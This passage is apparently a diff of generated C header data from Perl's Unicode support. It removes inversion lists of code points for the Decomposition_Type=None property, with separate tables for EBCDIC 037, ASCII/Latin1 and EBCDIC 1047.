/* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x37A, - 0x37B, - 0x384, - 0x385, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9B, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FFE, - 0x1FFF, - 0x2002, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2128, - 0x2129, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB20, - 0xFB2A, - 0xFB4F, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__NONE_invlist[] = { /* for ASCII/Latin1 */ - 781, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0xC6, - 0xC7, - 0xD0, - 0xD1, - 0xD7, - 0xD9, - 0xDE, - 0xE0, - 0xE6, - 0xE7, - 0xF0, - 0xF1, - 0xF7, - 0xF9, - 0xFE, - 0xFF, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x132, - 0x138, - 0x139, - 0x141, - 0x143, - 0x14A, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x180, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1C4, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x587, - 0x588, - 0x622, - 0x627, - 0x675, - 0x679, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x10FC, - 0x10FD, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309B, - 0x309D, - 0x309E, - 0x30A0, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__NONE_invlist[] = { /* for EBCDIC 1047 */ - 779, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBD, - 0xBE, - 0xBF, - 0xCB, - 0xD0, - 0xDA, - 0xE0, - 0xEA, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x132, - 0x138, - 0x139, - 0x141, - 0x143, - 0x14A, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x180, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1C4, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x587, - 0x588, - 0x622, - 0x627, - 0x675, - 0x679, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x10FC, - 0x10FD, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309B, - 0x309D, - 0x309E, - 0x30A0, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 